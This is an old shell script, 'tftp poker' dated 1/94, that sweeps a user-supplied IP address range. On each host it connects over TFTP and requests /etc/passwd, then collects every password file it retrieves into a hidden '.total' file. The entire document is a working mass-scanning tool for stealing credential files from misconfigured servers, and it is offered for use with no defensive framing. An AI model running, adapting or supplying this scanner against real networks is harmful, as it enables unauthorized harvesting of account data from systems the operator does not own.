tftpoke.sh
# tftp poker, by ThePublic 1/94
#!/bin/sh
if [ $# != 6 ] ; then
echo "six arguments expexted:"
echo "usage: $0 255 255 0 0 255 255"
echo "where: 255.255.0.0 is the beginning address"
echo " and: 255.255.255.255 is the ending address"
echo " (first four are complete IP, last two replace ending two of first IP)"
exit
fi
start1=$4; start2=$3; start3=$2; start4=$1; end1=$6; end2=$5
if [ $start2 -gt $end2 ] || [ $start1 -gt $end1 ] && [ $start2 -gt $end2 ]
then
echo "beginning numbers must be LESS than ending numbers (duh)"
exit
fi
echo $start4.$start3.$start2.$start1-$start4.$start3.$end2.$end1
echo
while [ $start2 -le $end2 ] ; do
while [ $start1 -le 255 ] ; do
site=$start4.$start3.$start2.$start1
echo -n "`date +'%x %X'` $site: "
tftp $site << EOScan >> /dev/null
get /etc/passwd .$site.pw
quit
EOScan
if [ -t $site.pw ] ; then
echo --------------- >> .total
echo $site >> .total
cat .$site.pw >> .total
echo file appended.
else
echo no file found.
fi
rm .$site.pw
if [ $start2.$start1 = $end2.$end1 ] ; then break; fi
start1=`expr $start1 + 1`
if [ $start1 -ge 256 ] ; then start1=1; break; fi
done
if [ $start2.$start1 = $end2.$end1 ] ; then break; fi
start2=`expr $start2 + 1`
if [ $start2 -ge 256 ] ; then break; fi
done
echo "`date +'%x %X'` scan complete."
Go BACK!